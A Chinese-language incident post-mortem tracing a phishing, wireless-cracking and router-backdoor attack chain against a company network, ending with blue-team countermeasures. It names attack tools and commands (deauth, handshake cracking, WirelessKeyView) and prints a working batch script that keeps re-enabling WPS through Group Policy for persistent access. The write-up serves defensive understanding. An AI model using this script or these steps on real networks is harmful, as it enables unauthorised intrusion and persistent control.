案例背景

企業內網部署 Belkin 無線路由器，**啟用 WPA-PSK + MAC 過濾**，自以為萬無一失。實際遭遇：**內鬼釣魚 → 無線滲透 → 服務器植入木馬 + WPS 後門 → 持久化控制 → 管理員發現 → 攻擊者撤離留惡作劇** 的完整攻擊鏈。

攻擊階段拆解

Phase 1：內鬼釣魚取得立足點

• 攻擊者 (Kevin) 以訪客身分進入辦公室，連接企業有線網路。
• 針對內部論壇 **SQL 注入 / XSS** 發佈釣魚帖，誘導員工點擊載荷 → **瀏覽器漏洞利用 / 社工下載木馬** → 獲取數十台內網主機控制權 (Meterpreter/自研後門)。
• 篩選無線網卡主機 (ASUS 筆記本) → **屏幕監控發現斷線狀態無線網卡** → 上傳 `WirelessKeyView` 讀取 **WEP 密碼** (舊加密) → 記錄 DHCP IP/閘道/SSID。

Phase 2：War-Driving 定位無線熱點物理位置

• PDA + GPS + `Kismet`/`Airodump-ng` 掃描企業週邊街道。
• 匹配內網獲取的 3 組 SSID/BSSID，**確認 2 組訊號覆蓋至室外街道** — 物理邊界防護失效。

Phase 3：WPA-PSK 破解與 WPS 後門植入

• 目標 AP `ZE@Office` 啟用 **WPA-PSK**，Kevin 使用 **Deauth 攻擊 (aireplay-ng -0)** 強制客戶端重連 → 捕獲 **4-way Handshake** → 離線字典/彩虹表破解 PSK (弱密碼)。
• 登入路由器管理介面 → 發現 **WPS 功能默認關閉但可啟用** → **啟用 WPS** 並記錄啟用 URL (`/wps_enable.cgi`)。
• **植入持久化 WPS 後門**：在網關伺服器 (已獲 admin 權限) 組策略 → **電腦配置 → Windows 設定 → 腳本 → 啟動** 放置批次檔：

@echo off
:loop
curl -s "https://192.168.1.1/wps_enable.cgi?user=admin&pass=admin" >nul
timeout /t 180
goto loop

• 每 3 分鐘自動啟用 WPS，**攻擊者隨時可用 WPS 客戶端 (無需密碼) 關聯入網** — 繞過 WPA-PSK 變更。
• 同步植入 `shutdown -r -t 0 -f` 批次檔，設定下班 18:30 強制重啟，**觸發啟動腳本自動開啟 WPS**，無感持久化。

Phase 4：防禦方應急響應與攻擊者撤離

• 管理員 (宇) 發現：服務器木馬雲查殺發現多個樣本 → 全盤掃毒清除。
• Kevin 失去常規連線 → **啟用無線網卡 WPS 自動關聯** → 秒級重連內網 (圖 0-13)。
• 再次滲透：瀏覽 `Photos`/`Lotus` 目錄、檢測補丁狀態 (360 未打完補丁) → **順手打補丁**留「禮物」。
• 管理員發現：SSID 被修改、MAC 黑名單列出內部筆記本、歷史連線顯示陌生 MAC → 現場排查無果。
• Kevin 撤離城市，機場候機回顧攻擊鏈，留下惡作劇結束。

根因總結與防禦對策

給藍隊的實戰檢查清單

1. 掃描全網 **WPS 狀態** (`wash -i wlan0` / 路由器批量 API 查詢) — **必須全關**。
2. 稽核 **組策略啟動/關機/登入/登出腳本** — 僅允許簽名腳本執行。
3. 部署 **Sysmon Event ID 1/12/13/17/19/20** (進程建立/註冊表/管道/管道連接/WMI/檔案創建) 接入 SIEM。
4. 無線端點 **EAP-TLS/PEAP-MSCHAPv2** + **機器/用戶雙重認證**，拒絕 PSK。
5. 定期 **紅隊演練 / 假設入侵演練**，驗證檢測與響應流程。

本文屬技術復盤，**嚴禁用於非法滲透測試**。所有技術細節旨在協助防禦者理解攻擊鏈、部署有效緩解措施。